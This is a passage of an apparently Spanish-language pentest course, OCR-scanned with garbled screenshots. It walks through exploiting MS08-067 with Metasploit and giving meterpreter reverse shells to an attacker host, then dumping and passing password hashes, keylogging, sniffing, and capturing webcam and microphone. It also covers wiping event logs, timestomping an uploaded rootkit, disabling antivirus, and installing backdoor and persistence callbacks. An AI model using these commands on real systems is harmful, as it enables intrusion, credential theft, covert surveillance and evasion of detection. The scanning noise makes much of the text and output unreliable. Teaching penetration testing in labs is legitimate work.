complete compromise of vulnerable computers. This issue may be prone to widespread automated exploits.

Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.
This vulnerability affects Windows 2000, Windows XP, Windows Server 2003, Windows Vista, and Windows Server 2008. ™
Empezaremos buscando el exploit que nos interesa utilizando los comandos
comentados anteriormente.

Msf> search netapi

La consola nos devuelve cuatro exploits disponibles, en este ejemplo haremos uso del
cuarto, los seleccionaremos de la siguiente manera:

Msf> use Windows/smb/ms08 067 netapi

Como datos adicionales también consultaremos la informacion referente al
exploit seleccionado.

Msf > info Windows/smb/ms08_067 _netapi
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Informaci6én de un exploit
Con show options consultaremos las posibles parametros a configurar que tiene
el exploit, en este caso permite indicar el equipo remoto a acceder con la variable
RHOST, también nos muestra las opciones requeridas.
Seleccionaremos el parametro con:
Msf>set RHOST 192.168.1.80

Seguidamente seleccionaremos el payload a utilizar:

El primer ejemplo de payload que mostraré es Vncinject/reverse tcp el cual nos
devolvera un escritorio remoto con conexion inversa de la pc_victima.

Msf> Set payload Windows/vncinject/reverse tcp

Con show options seleccionaremos las opciones del payload que en este caso
sera lhost para indicar la maquina del equipo atacante, ya que le estamos indicando al
payload que haga una conexién inversa, quiere decir que sera la victima quien se
conecte al atacante.
Msf> set lhost 192.168.1.59

Ahora ya estd configurado el exploit para ser lanzado.

Msf>exploit
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#1nicio| [ G Metasploit Courtesy .. El«sd
Shell remota por VNClnject

Nos devuelve una consola remota y una Shell, esta Shell puede ser un problema
por lo que tenemos la posibilidad de desactivarla antes de lanzar el exploit con el
siguiente comando:

Msf> Show advanced
Msf>set DisableCourtesyShell true

Si volvemos a ejecutar el exploit ya no saldra la Shell, Cuando puede ser
necesaria esta opcion?, pues cuando la sesion remota esta bloqueada, es entonces
cuando con la consola podemos acceder al explorador ejecutando el proceso del
explorador de Windows:

Explorer.exe

El siguiente payload que usaremos serd meterpreter el cual nos permite cargar
diversos plug-ins de ataque que mostraremos a continuacion, algunos de ellos son
sniffer, keylogger, webcam..... todos ellos los detallaremos més a fondo méas adelante.

Seleccionaremos el payload

Msf>set payload Windows/meterpreter/reverse_tcp

Seleccionaremos el lhost y ejecutaremos el exploit:

?6) at 2010-11-14 17

Ejecucién de un exploit
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Nos indica que se ha abierto una sesion remota

Si queremos ver las sesiones creadas

[ MSF > sessions -1 ]

Si queremos seleccionar una sesion en concreto:

[ MSF > sessions —1 <numero sesion ]

Cuando estemos conectados a la sesion de meterpreter estudiaremos una serie de
comandos y scripts los cuales mostraremos un breve resumen a continuacion, resaltar
que con el comando help se mostraran todos los comandos disponibles.

[ MSF > background ]

Permite ejecutar meterpreter en segundo plano.
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Meterpreter

% Meterpreter

Meterpreter es una familia de plugins avanzados de los mismos creadores del
Metasploit Framework, que se utiliza sobre sistemas comprometidos y tienen como
caracteristica fundamental que todo es cargado en la memoria del sistema sin crear
ningun proceso adicional ni dejar rastros, permitiendo incluso la inyeccion dindmica de
dll’s o la migracion entre procesos del interprete. Los comandos mas usados que
podemos utilizar los siguientes:

MSF > ps ]

Muestra los procesos activos en la maquina remota

MSF > sysinfo 3

Nos indica el nombre de la maquina y el sistema operativo, asi como el idioma
de la maquina remota.

MSF > getuid }

Nos indica con que privilegios corre la sesion de la consola

MSF > getpid 3

Nos indica el pid del proceso al que estamos conectados

MSF > migrate ]

Cuando se ha ejecutado un exploit que afecta a una vulnerabilidad en el software
si remotamente cerramos el proceso al que estamos conectados, se perdera la conexion,
para evitar esto meterpreter nos permite migrar procesos para asi evitar la pérdida de
conexion.
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MSF > idletime ]

Muestra el tiempo de inactividad del usuario remoto

H bash

10 34_:I at 2010-1

- idletime ]
en idle for: 1 min

Tiempo inactivo del usuario
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HashDump

Ntlm (NT Lan Manager) es un algoritmo basado en MD4 el cual es utilizado por
los sistemas Windows como método de autenticacion. Este utiliza un Challenge de 8
bytes que intercambia entre cliente y servidor, este protocolo es vulnerable a diversos
ataques ya que No es necesario descifrar una contrasefia sino que podemos iniciar
sesion capturando el hash que se genera en la negociacion del protocolo.

Las contrasefias en Windows se almacenan en un fichero llamado SAM en el
directorio %windir%)\system32\config el cual las guarda cifradas con una funcién hash
unidireccional lo que indica que funciona en un solo sentido y que a partir del hash no
hay retorno, no se puede descifrar la contrasefia.

La estructura del fichero SAM consta de la cuenta de usuario , mas el sid,
identificador que nos sefiala que privilegios tiene la cuenta, y las dos versiones hash del
sistema Windows, la primera de ellas y la mas facil de descifrar es Lan Manager
disponible para las versiones win9x, Windows xp/vista, el hash de lanman se calcula
partiendo en dos partes de siete caracteres cada una y en mayusculas la contraseia, la
segunda parte corresponde a las versiones de NT, XP, VISTA y 2000x es NTLM 1
NTLM v2.

Lo primero que tenemos que obtener es el hash el cual nos lo proporciona el
plugin hashdump .

Cuando tenemos el Shell meterpreter ejecutamos lo siguiente:

Meterpreter >run hashdump ;

do en Intel 21140 (Genérico) - Minipuerto del administrador de paguetes

aefeldfdfli:::

ebdd10655ch:::

Ejecucién de hashdump
Ya tenemos el hash en formato lanman i ntlm de la cuenta de Administrador local.
Para obtener las contrasefias se pueden utilizar varios métodos, uno de ellos son

las tablas rainbow, tablas generadas con hash precalculados y que realizan una
comparacion de hashes.
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Este método lo utiliza la herramienta opensource OPHCRACK disponible en
http://ophcrack.sourceforge.net/

Pasaremos un diccionario de fuerza bruta sobre el hash utilizando las tablas rainbow,
para eso utilizaremos el programa citado anteriormente.

opherack BEE
o ¥ s
D 0 d v > @ @ c
Load Delete Save Tables Crack. Help Exit About
Progress | statistics | Preferences |
usr % | LM Hash | NT Hash LM Pid 1
Administrador  AAEDIEACTITEFS3AEADSFT4FEG78D163 BOEODI3671FB04TFCESEDS25CFE0FCADD
4 | |
Table Directory Status Progress |
5 @RPfree s, | Ci[PRUEBACONC on disk. [ ]
@ tablel on disk. [ ]
- @ tablet on disk. [ ]
@ tablez an disk [ i
@ tables on disk [ 1
preload; | waiting Brute force: | walting Pud found: | ofo Time elapsed: | ohom 0s |

Pantalla de Ophcrack
Guardaremos el resultado de hashdump en un fichero con formato pwdumpfile.

Seleccionaremos load /pwdump file , y cargaremos el fichero anteriormente creado,
junto con la carga de las tablas necesarias i pulsaremos a Crack

ophcrack !E E

D0 & w e 0 @

Load Delete Save Tables Crack Help Exit About

Progress | Statistics I Preferences I

LM Hash | NT Hash LM Prd 1 LM Pid 2 T Pued
E0SEACT17EFS3AEADSF4FBE7E0 169 BOEOD3671F3047FCESENS2SCFE... AS1ZZKE 3RODS As12zk23rds
4 o]
Table Directory Status | Progress
(=@ #Pfrees.. CPRUEBACONC..  100%inRaAM  EE
- @ tabled 100% inRAM I
- @ tahlel % inkAM  EEEEEEEEE
@ tablez 100% in RN I ——
o @ tabled 100% inRaM I

Preload: I done Brute Force: I done Pwd Found: 11 Time elapsed: I 0h Om 135 |

Resultado crackeo de password
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En la parte inferior derecha podremos observar el tiempo que ha tardado en
obtener la password en la parte superior derecha como nt pwd

Podemos prescindir de malgastar tiempo en crackear las password, tenemos el
hash y haremos uso de una técnica llamada “Pass the Hash” , esta técnica consiste en la
posibilidad de autenticarse en equipos Windows tUnicamente conociendo el hash, os
muestro una herramienta que nos permitira conectar al equipo remoto modificando las
credenciales del equipo con las de la cuenta administrador del equipo remoto
http://www.ampliasecurity.com su nombre Windows credentials Editor V.1.0, esta
herramienta permite modificar las credenciales de logon, afadirlas o borrarlas, soporta
los sistemas Windows xp, 2003, vista, 7 y 2008 , la herramienta provee las siguientes

opciones:
Options:
-1 Lista las sesiones de logon y credenciales ntlm (por defecto)
-s Cambia las credenciales NTLM de la sesion de logon en curso.
-r Lista las sesiones de logon y credenciales ntlm indefinidamente
refrescando cada 5 segundos si hay nuevas sesiones.
-C corre cmd en una nueva sesion con las credenciales ntlm especificas.
-e lista las sesiones de logon con credenciales ntlm indefinidamente.
-0 grava las salidas en un fichero
-1 especifica el LUID
-d Borra las credenciales ntlm de una sesion
-v desarrolla la salida.

Para comprobar el acceso realizaremos lo siguiente, nos conectaremos al recurso
administrativo de la maquina remota \\192.168.1.80

Conectar a victima E B

. ‘a 1 .IIS‘

Conectando con 192,168,180

Usuario: | | _:j

Contrasefia: I

™ Recordar contrasefia

Aceptar Cancelar

Solicitud de credenciales Recurso Remoto

Podemos comprobar que nos pide las credenciales de autenticacion:
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CIWIHDOWS 'system32'cmd.exe

C:“WCE>uce —s Administrador:580:AAEBIEACY?176FS3IAEADSF?4FB678D167 : BAEBD3671FE047
ICE3EAS25CF6AFC4DD

WCE v1.8 (Windows Credentials Editor)> — {c> 2818 Amplia Security — hy Hernan Och
ova ChernanPampliasecurity.com?

Use —h for help.

Changing NILM credentials of current logon session (BAEZ2ABSh)> to:
Username: Administrador

domain: 5868

LMHazh: AAEB3EACT176FS53AEADSF?4FB678D16T

MIHash: BBEWDI671F8047FCE3EAS25CF6AFCADD

MTLM credentials successfully changed?

C S UCE>

Windows Credentials Editor v1.0

Ejecutaremos wce —s Administrador:500:hash lanman:hash ntlm
I volvemos a conectarnos al recurso

\192.168.1.80|c$

. c$ en 192.168.1.80 BEG

Archivo  Edicidn  Yer Herramientas — Ayuda | i?
&) htrds > B! ? 7 ! Bllsqueda i Carpetas B | x n -
Direasidn |27 11192.168.1,80cH S8
”,1 ’_’J Documents and Settings /j prova
RECYCLER Syshem Yolume Information /j SIMDOS
== ALUTOEXEC.BAT boot .ini . Bootfont.bin
archivo por lobes MS-DOS Cpciones de configuracion saal | Archivo BIN
OKE 1 KB = SKE
[ Iy conra.svs —y 10.5¥5 _ MSDOS,5Y5
S Archivo de sistema ] ’:] Archive de sistema eaal | Archivo de sistema
| — OKE —=1 | 0kB = 0KB
S| NTDETECT.COM e nitldr 2 pagefile.sys
&plicacion M5-D0S . ’%‘] Archive de sistema caal | Archivo ds sistema
47 kB - 246 KB Je6.432 KB IS
rh‘ servidor, exe l.J

Acceso al recuros c$ con las nuevas credenciales

Ya tenemos acceso sin conocer de su password....
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Sniffer

El Modulo sniffer de meterpreter nos permite capturar paquetes en el equipo
remoto y exportarlos al formato pcap, para que posteriormente puedan ser analizados
por herramientas como whireshark y obtener asi datos relevantes como contrasefias y
acceso a sitios.

Cuando tenemos acceso a la consola meterpreter ejecutamos lo siguiente:

Meterpreter > use sniffer 1

Utilizando el comando help nos mostrara las opciones posibles.

timestomp Mamipulate file

Consola de meterpreter

Con sniffer-interfaces seleccionaremos la interfaz donde pondremos la tarjeta en
modo monitor para la captura de paquetes.

Seleccionaremos la interfaz

Meterpreter > sniffer start x

Donde x corresponde al nimero de adaptador de red seleccionado

' type:D mtu:lSid usable:true dhop:false wi

Capturando datos

Bernabé Muifioz (bmm@reus.tinet.org)
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Abhora el sniffer esta capturando las conexiones, comprobemos por ejemplo el correo

Con sniffer Stats veremos si esta capturando paquetes.

{ type:D mtu:l514 usable:true dhcp:false wi

Comprobando el estado de la captura

Cuando ya tengamos suficientes paquetes, volcaremos el resultado con
sniffer_dump /home/Administrador/fitxer.pcap

nterface 1

= 1
interface 1

tuado. pcap

Volcado del contenido de la captura

Paramos el sniffer con sniffer Stop 1, localizamos el fichero creado
capturado.pcap en la siguiente wubicacion por defecto C:\Archivos de
programa\Metasploit\Framework3\home\Administrador y lo abriremos con whireskark
, una herramienta open source destinada a la monitorizacion y de la que daremos una
breve descripcion en un apartado posterior.
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Screenshot

Con este modulo podemos capturar en cualquier momento instantaneas del escritorio
del equipo remoto y guardarlas en formato imagen.

Meterpreter > screeenshot
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Keyscan

Este script captura las pulsaciones de teclado del equipo remoto.

Inicio captura de teclado

- Bloc de notas

Archivo  Edicion  Formato  Wer  Ayuda
o [+ixo es una prova de captura de teclat

& Inicio E Sin titulo - Bloc de not... = g 23:29

Captura las pulsaciones de teclado

Volcado del resultado de la captura

Con keyscan_stop paramos la captura.
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Clearev

Con clearev borraremos el rastro que podamos dejar en el registro del sistema remoto.

B visor de sucesos !E H

archivo  Accidn Wer  Awvuda

¢ B 2
Wisor de sucesos (local)

Sequridad Tipo | Fecha | Hara Crigen | Catec_j

Sictema @Informacién 17112010 23:143:93 libtw11 MingL

ACEEventLog @Informacién 17j11j2010 23141127 EAPOL MingL

Cisco AryConnect YRR Clisnt @Informacién 17j11j2010 23141127 EAPOL MingL

24| Inkernet Explorer I:E;:’Inl’ormau:iu.‘un 17j11j2010 23141118 SecurityCenter MingL
@Informacién 17112010 2341011 vmware-converter-ser,,.  Mingu
@InFormacién 17112010 23:41:08 vmware-converter-agent  Mingu
@InFormacién 17112010 23:41:01 Whlware NAT Service MingL
@Infurmacio’n 171112010 23:41:00 Whlware MAT Service Mg
@Informacic’nn 171112010 23:40:56 Whlweare Yirtual Mount ... Mingo
@Informacic’nn 171112010 23:40:35 AdeonaClientService Mirge
@Informacién 17111jz010 Z340:35 Chat Contraller Mirge
@Informacién 17112010 23:140:35 bkvadins MingL
&F\dvertencia 17112010 2313924 Usereny MingL
@Informacién 17j11j2010 23:132:40 EAPOL MingL
@Informacién 17j11j2010 23:132:40 EAPOL MingL
I:E;:’Inl’ormau:iu.‘un 17j11j2010 23:132:36 SecurityCenter MingL
@Informacién 17112010 23:32:36 VITare-converker-ser, Niﬁ_‘j
<] 5

Visor de sucesos

gerprint:
ted Target:

at 2010

Wiping

Wiping

Wiping 1 r
meterpreter

Borrado de los sucesos del sistema

% Pag 37
Bernabé Muifioz (bmm@reus.tinet.org)




LLER AUDITORIA'Y PENTEST 2011

Timestomp

Nos puede interesar modificar las fechas de los ficheros que subamos para asi evitar ser
detectados en una instrusion, con timestomp tenemos la posibilidad de realizar dicha
modificacion.

Nuestro escenario representa un sistema remoto con sesion de meterpreter creada, en la
que subimos un fichero (podria ser un rootkit).

Primero subiremos el fichero rootkit.exe creado el 03/11/2011

Meterpreter > upload c:\\rootkit.exe c:\\rootkit.exe

E bash !Em
- LS

114 +0100

Subida de los fichero al sitema remoto

Comprobaremos la fecha de creacion de fichero realizando una busqueda en el equipo
remoto

Meterpreter> pwd
Nos mostrara en que directorio estamos ubicados.
Meterpreter> cd \

Nos situamos en la raiz donde esta ubicado el fichero que hemos subido
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Atributos de los ficheros

Si escribimos timestomp rootkit.exe —v

ume Information

Visualiza las propiedades de fecha del fichero

y comprobamos que esta creado, vemos tambien que existe un fichero
prueba.txt con fecha 23/11/2010 y con el cual queremos igualar la fecha.

Meterpretert> timestomp c:\\rootkit.exe —f c:\\prueba.txt

Fecha modificada

Como podemos comprobar nos ha cambiado la fecha de rootkit.exe por la de prueba.txt,

Si queremos complicar la situacion todavia mas con el parametro —b, pondremos la
fecha en un rango 01/01/1601.
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Webcam

El modulo Webcams conectara la Webcam remota a nuestro equipo, asi
podemos ver quien esta conectado remotamente o que pasa en el habitdculo donde esté
la camara.

Meterpreter >run webcam

I} MetasploitCursCAST.doc - Microsoft Word

Archivo  Edidon  Ver [nsertar Formato  Herramienbas  Tabla  Ventana 7 Escriba una preg. - x m

> ¢ ) o~ = 0 2
IR WS U WERRlS] /5 C.a/chivos de programalMetasploitFramework3imsf3iwebcam,htm - Windows Internet Explorer l
9 3
Normal ~ Times Hew Re o \
A torfal mestlewioman [y - | @ ctarchives de pro {Framewo amhtm | 41| % g B 8 l 4/
L E__[" ; ; " ) -
8 @ @ ciarchivos de programaiMetssplot|Framework3imst ‘ J ~ E) - ) v [:rPagina ~ (F Herramientas = crU W
| Memoria I
Disco
Red
agona
(5
H15% | Le®
n
Lista o Miequipn

P L I R R C I IR RN ARt S I E B IR R TN A JERY IR SR ISR AP S SRR I SR Ut

=
S
@
i =
SEEIEER| |
Dbujar » [ | Autoformasy N\ % (1O A ol €2 (8] & | & - o Z - Av=;E.] all ot
Pdg. 22 sec. 1 22f24 A 73cm Lin 11 colo 1 ¢ Espafiol (s OX _

inicio| < Di.. | By, | @ p.. i j M3VDM () u@ 290 E < gl % e @ @ :g.%{&@! 031

Capturando imagenes por webcam

Opciones:
Webcam_list

Lista las Webcams disponibles
Webcam_Snap

Toma una instantanea de la Webcams seleccionada.
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Sound_recorder

Podemos captura el audio del micréfono con Soundrecorder, donde tan solo
debemos indicarle los intervalos de tiempo en segundos con el parametro —i con los que
se producira la grabacion.

Meterpreter> run sound_recorder

-h menu ayuda
- i intervalos de tiempo de 30 segundos

@ MetasploitCursCAST.doc - Microsoft Word

Archivo Edicién  Ver Insertar Formato  Herramientas
DEHRS4RIVE B9

A Hormal + Nearit ~ Times NewRoman 12« INl&

Rl & Reprodustor multimedia VL.C. | e & j R
1 -‘ 2eprodu i i sl 3 GAtras ) !‘ﬂ‘ - Bisaeda || Campetas | | x E) )
Direccién () Ci\archivos de program Metasplait{Frameworkathome!Adinistradorl msF3|ogstsoundhecord| 192, 168.1,9900086
— — Memoria N
P ow| W F=(] &% | Carpetas X T Disco a
[ | P a8 v media et ogg) Red
=1 4. Rl 25415
= -
& B bash BEER
= ; X
P
"
-
M
w
-
3
B EIECE
Dibuir - b | Autoformas= N W 1O B o € (8
Pag, 23 Sec, 1 23j25 ASSon L7 Col 1 E Espafiol (5 (O

Mimiio| ()2E+| Biw. | Do | Hw ’T ﬂmsvnmgaaeo Bl« & dl 5™

Grabacion de sonido del micro remoto
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get application_list

Nos muestra las aplicaciones instaladas en el equipo remoto.

on us

Toged in to the host.

Aplicaciones instalada en el sistema remoto
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winenum

Con winenum tendremos un volcado del sistema con entradas dns, rutas, programas
instalados, hash de la sam, recursos compartidos, todo ello grabado en la siguiente ruta

C:\Archivos de programa\Metasploit\Framework3\home\Administrador\.msf3\logs\scripts\winenum\

% viCTIMA_20101230.2002 BEE
&rchivo  Edicion  Yer Faworitos  Herramientas  Ayuda .".'
e Abrds - </ l_ﬂ‘ P ) Eiisqueda H_ Carpetas II$ j X n E =
Direccion |_} Ci\archivos de programalMetasploitiFramework3ihomel administradort . msf3Yogsscriptsiwinenum\ W ICTIMA_Z0101230,2002 j Ir
Carpetas ¥ | | Mamnbre | Tarmario | Tipo | Fecha de modificacidn |
d @] arp__a.kxk 1KE Documento de kexto 3071212010 ;20
orks [Z] emd_exe__c_set.bxt 1KE Documento de texto 30012f2010 0:20
E’] gpresult_ SCOPE_COMPUTE... 1KE Documento de kexto 30/12/2010 0:20
Sive E’] gpresulk_ SCOPE_IUSER_ 2.tk 1KE Docurmento de kexto 3071212010 ;20
= | ipronfig__all.kxt 1KE Documento de texto 3001202010 0:20
i 4 kB Docurnento de bexta 30/12/2010 0:20
e J =] net_accounts. bxt 1KE Documento de texto 30012f2010 0:20
adrministrador @] net_group.bxt 1KE Documento de bexto 30/12/2010 0:20
3 .gem E’] nek_group_adrministrators,bxt 1KE Documento de kexto 3071212010 ;20
=) .msf3 E] net_localgroup. bxt 1KE Documento de bexto 300122010 0:20
=1 53 logs @] net_localgroup_administratar..,. 1KE Documento de bexto 30/12/2010 0:20
= [ scripts [Z] net_session. bxt 1KE Documento de texto 30012f2010 0:20
+ [ netenum E] net_share.bxt 1KE Documento de bexto 30/12/2010 0:20
[ persistence @] nek_user,kxt 1KE Documento de kexto 3071212010 ;20
+ [ scraper [Z] net_view.bxt 1KE Documento de texto 30012f2010 0:20
[ smartlocker @] net_view__domain, bxt 1KE Documento de bexto 30/12/2010 0:20
+ [ sound_recorder @] neksh_firewall_shows_config.kxt 3KE Documento de bexto 30/12/2010 0:20
= ) winenum [£) netskat__nao.bxt 2KE Documento de texto 3001202010 0:20
7 YICTIMA. 20101230,2002 @] nekskak_ ns.bxk 3EE Documento de texto 3071212010 ;20
) sessions N [Z] metstat__vh.kxt 1KE Documento de texto 30012f2010 0:20
) oot @] route_print. bxk ZKB Documento de bexto 30/12/2010 0:20
) modules E’] tasklist_ swe,bxt 3KE Documento de texto 3071212010 ;20
) plugins E] VICTIMA_20101230.2002.kxt 1KE Documento de texto 300122010 0:20
3 .subversion |%|:r*ou;rams_list.u:sxu' 1KE Archivode valores ... 30/12/2010 0:24
[Z] hashdump.txt 1KE Documento de texto 30012f2010 0124
3 - @] tokens. bxt 1KE Documento de kexto 30/12/2010 0:24
| o]

Ficheros con los resultados del script winenum

Bernabé Muifioz (bmm@reus.tinet.org)
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Metsvc

Cuando hemos accedido por primera vez al sistema remoto, y nos
desconectamos de la sesion de meterpreter, quizds nos interese volver a conectarnos si
necesidad de volver a explotar la vulnerabilidad, tenemos la posibilidad de crear un
servicio remoto con el cual poder volver a conectarnos cuando queramos.

Tengamos en cuenta que en el caso de que se tenga habilitado en el equipo
remoto el firewall de Windows, tendremos que abrir el puerto:

Antes de desconectar la sesion inicial de meterpreter ejecutamos lo siguiente:
Nos conectaremos por consola cmd ejecutando execute —f cmd.exe —i —t

netsh firewall add portopening TCP 31337 [nombre]

MFIG~1%Tem

multihandler
andler...

: No such file or dire Y t terpre ; r_multihandler.d]l

Creando servicio de backdoor

Una vez creado el servicio remoto y abierto el puerto , podemos hacer un reboot del
sistema

Meterpreter > reboot

Y una vez reiniciado nos conectaremos mediante multi/handler, seleccionando
el payload Windows/metsvc_bind_tcp y configurando el lport a 31337 ¢ indicando el
equipo victima para volver a conectarnos
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Name Cur

proc none

Ejecucion
Si queremos desinstalar el servicio ejecutaremos en nuestra sesion de meterpreter:

Meterpreter> metsvc -r

Borrado del servicio remot metsve
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persistence

Hemos visto la forma de asegurarnos la posterior conexiéon con el equipo remoto a
posteriori de la primera sesion de meterpreter con metsve, peré hay un problema, que
pasa si el equipo remoto limita las conexiones entrantes por el puerto configurado por
metasploit??, para solucionar este imprevisto, usaremos una conexion inversa o lo que
es lo mismo, serd el equipo remoto quien se conecte a nosotros , eso en el caso que el
firewall remoto no limite tambien las conexiones salientes cosa que en equipos de
escritorio no es muy comun.

Nos crearemos una sesion meterpreter con cualquier exploit que nos lo permita.

3 » set rhost 192.168.1.80

J > jobs

14444

- lang:Spanish

8:55 +0100

Con run persistente —h veremos las opciones a configurar:

-A Automaticamente inicia un handler para conectarse con el agente.
-U Intento de conexién cuando el usuario inicia la sesion

-X Intento de conexidn cuando el usuario inicia el sistema

-h ayuda

-1 <num> numero en segundos de reintentos de conexion

-p <num> puerto local a la escucha para recibir la conexion

-r <num> ip a la que conectard el agente (nuestra ip)

Con las opciones ejecutaremos lo siguiente:

Meterpreter> run persistente —A —U —X —i 300 —p 4444 —r 192.168.1.59
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handler o .
ing the tar

artin
119

pt ITHDD
with PID 14

Ejecucion del script persistence

Todo correcto ahora en el proximo inicio de sesioén o del sistema dejaremos en
escucha por el puerto 4444 el handler de conexiéon y comprobaremos si nos conectamos.

none

ploit

handler on

Multi handler a la espera de la conexién remota

Ya han pasado 5 minutos y el resultado es el siguiente, BINGO

proce none

ploit

handler on 19

Conexién a nuestro equipo de la sesién de meterpreter

Bien ahora lo que nos interesa es eliminar el rastro de persistence, para ello haremos lo
siguiente:
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P

& VICTIMA_20101220.5003 - [T x|
Archiva  Edicion  Yer Favoritos  Herramientas  Avuda | ?
@Atrés - -J - lﬁ ﬁBL’lsqueda H__" Carpetas l._:j‘ k13 x n v

Direccion IE] ChArchivos de programaliMetasploitiFramework3ihomel Administradort,. msf3Yogsiscriptsi persistencelWICTIMA_20101229.5003 j Ir

WICTIMA_20101229,5003 rC
Plantilla de recursos
1 KB

Meterpreter >run multi_console_command — rc
/home/Administrador/.msf3/logs/persistente/--------

O lo que viene a ser lo mismo borrar el fichero generado y la clave del registro creada
en run y el fichero en c:\windows\temp.
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Meterpreter > shell ;

Con el comando shell meterpreter nos retorna una consola de sistema, pudiendo
ejecutar comandos del sistema remoto, con

at 2010-11- : +0100

Shell remota

Exit volveremos a la consola meterpreter
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Execute

Con el comando execute también podemos ejecutar una consola remota de la
siguiente manera:

Meterpreter > execute —f cmd.exe —i -t 1

with

Comando execute
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Upload

La finalidad de upload consiste en poder subir ficheros del equipo remoto

Meterpreter > upload c:\\prueba.txt c:\\prueba.txt

Observen que la contrabarra se repite.

PassView - Password Manager Program for Internet Explorer - Windows Internet Explorer

@ « [ hitpsfiwwe,rirsoft.netfutisjinters & WindowspSe3 - Microsoft Virtual PC 2007 HEE

= \ passwordsxp . »ﬁ -
T2 [ I passiiew- Pa P

amientas -~

Archiva  Edicidn  Ver Favorkos  Herramienkas

@ntvés wigd ™ ﬁ’

Direccién [ Ct|

Ayuda

Vg ' -
- Blsqueda || Campetas ‘

Direccidn [

Carpetas
[ | e l Tamafio | Tipo
| B Escritorio
(3 s documentos 0KB Documento detexto  23/11/201C Arragona
: ! e re LA || pagefile, sys 766,432 KB Archiva d sistema 22/11/201C 10°

o mec 246KE Archivo desistema  21/05/201C Hid® | Lie

3 servidor . exe 24KB  Aplicacidn 08/10/2007
boot.ini KB Opeiones de config,.,  23/08/2007

i Tnicio| | < Disco local (£:)
1 =

PSSy
Translated By H Date | Version "
I =l I

d#iicio| | T{ 1. #fE j o' D 0 @ © @

|@ mtemet

Subida de fichero
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Download

Podemos descargar del sistema remota ficheros a nuestra maquina local

Meterpreter > download c:\\prueba.txt c:\\prueba.txt 1

ing
hannel _s ail s m cannot find the path specified.
roeou

m cannot find the path specified.

Descarga ficheros
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Reg

El registro de Windows es el centro de nuestro sistema, su manipulacién puede
dejar sin acceso a este, por lo que esta seccion hay que medirla con precaucion.

Un ejemplo de consulta al registro, seria comprobar si el equipo remoto tiene
activado el firewall.

reg queryval -k
HKLM\W\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallP
olicy\\StandardProfile -v EnableFirewall

B bash HEE
eries the tents e <keys =

Consulta valor de Registro

El registro nos muestra muchos datos interesantes con los que podemos trabajar
os dejo algunos de los valores que pueden sernos ttiles.

Estado del Firewall

HKEY_LOCAL_MACHINE
\SYSTEM\CurrentControlSet\Services\Shared Access\Parameters\FirewallPolicy\Standar
dProfile\EnableFirewall
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killav

Este plugin desactiva los mddulos antivirus del equipo remoto

SCr

k1Tl

sAces an the target...

Comando killav
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Enum_shares

Aqui podremos enumerar todos los recursos compartidos del sistema remoto.

Recursos compartidos
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Service _manager

Con Service manager tendremos la posibilidad de gestionar todos los servicios del
equipo remoto

ice will be set to auto start

. Default «

_manager -1

Gestion de servicios Windows
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La lista de scripts en meterpreter en bastante larga y se actualizan
constantemente afiadiendo nuevas funcionalidades, por lo que os animo a que
descubrais todo el poder de la consola, os muestro la ubicacion de todos ellos.

i meterpreter !E
U

dychivo  Edicien  Ver Favoritos  Hemamienkas  Ayuda
Qe 0 3 Prnm [poons |33 X OB
Direceidn |u_‘,| Ci¥Archivas de programa\Metasplait Framework3\msf scripts|meterpreter Ll Ir
‘ Carpetas 3 || Hombre ~ | Tamafia | Tipa l Fecha de modficacin l
3/ 153 Metsparker Scans :i (=T Carpeta dearchivas  27/12J2010 10:09
3 Helliiness  ap_scarner b 4KB Ruby Fie 12112)2010 2314
® 3 Sty Super Scftware ® autorouterh 6K Ruby Fle 12112)2010 23:14
[ Vi Studio 2008 ® theckvm tb 9K Ruby Fle 12112)2010 23:14
= !‘ Jiee B cradeollect b 3KB Ruby Fle 12122010 23:14
) 5@ Disco el (7] ® doniain_Jit_gentb 3KE Ruby Fle 121z} 2314
3 dechivos de programs ® duniglinks. b 12K RubyFle 12112)2010 2314
5 Metast & duplicate.rb SKE Rubw Fie 12112/2010 23:14
# (5 Fravenrkd ® enum_chrame.rh BKE Ruby Fle 12112)2010 23:14
St e _firefoxtb 108 RubyFle 12012/2010 23114
B cyadie  crum_Jogged _on_users.tb 3KE Ruby Fle 12122010 23114
B der  rum_powershel_sni.th SKE Ruby Fle 120122010 23114
B et  enum_pLtty i 4KE  Rubw Fle 12112)2010 2314
# 3 home  enum_shares.th 4B Ruby Fle 12112)2010 23:14
A @l B erum_vmware.th 13K RubyFle 12112)2010 23:14
2B  event_manager th 7KE Ruby Fle 120122010 23:14
B3 e collectorth 3KE Ruby Fle 121z} 2314
B 3 dta ) M get_spplication_lst 1 2KE RubyFie 12112j2010 2314
& B3 documertation ® gt envh 2K Ruby Fie 12112)2010 23:14
® B erternd ® et flezila_creds.rb 6K Ruby Fle 12112)2010 23:14 =
# 3l et Jocal subnets b LKB  Ruby File 17112009 1:12
® £ modks ® get loggedon_users.tb 3KE Ruby Fle 12122010 23:14
(3 peapri ® get pidgin_creds b TKE Ruby Fle 121z} 2314
& 3 plghs et valid_community.rh 2KB Rubw Fie 27112/2010 10:08
2 B septs ® getrountermeastre.th KB Ruby Fle 12112)2010 2314
B .an ® getouirh 6K Ruby Fle 12112)2010 2314
B B Tetereter M gettelnet b 6KE Ruby Fle 120122010 23:14
A [ resarce A gebvrcpu th 3KE Ruby Fle 12122010 23:14
B  tashump th KB RubyFle 12 IZIZDID Z314
Bt  hostsedt.h 4B Ruby Fle 2112/z0108
® £ tudks ® leviogrecorder. SKE Ruby Fle 17 1212010 314
& shin & il th 9B Ruby Fle 18/05/2010 9:54
St B neksv b 3KE Ruby Fle 120122010 23:14
TG ® nigrate b ZKE Ruby Fle 1211212010 4
B A nulti_consols_command tb 3KE RubyFle 2112/z0108
2 [ ocuments and Settings  multi_meter_inject,th SKE Ruby Fie 1211212010 2314
g U_:l Adm\ms it . ® muliconmand rb 3KE  RubyFle 2112/20108
Q muiscrit.r ZKB RubyFle 1211212010 214 .'J

'_LM_J_WAJ_“”_ w01 000 0 0 |« MNP JRETL 09N s

Figura 63.- Scripts para Meterpreter

C:\Archivos de programa\Metasploit\Framework3\msf3\scripts\meterpreter
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Os adjunto un pequefio mapa de ejecucion .

As a Metasploit Exploit Payload (bind_tep) for bind shell or (reverse_tcp) for reverse shell

As Standalene binary to be uploaded and executed on the target system:

imsfpayl e

d wind

preter/bind_tcp LPORT=443 X > meterpreter.exe (Bind Shell)

fmsfch exploit'multihandler PAYLOAD=windows/meterpeter/bind_tcp LPORT=443 RHOST=<|P>

JImsfpayload wndows/meterpreterireverse_tcp RHOST=<IP> RPORT=443 X > meterpreter.exe

(Reverse Shell)

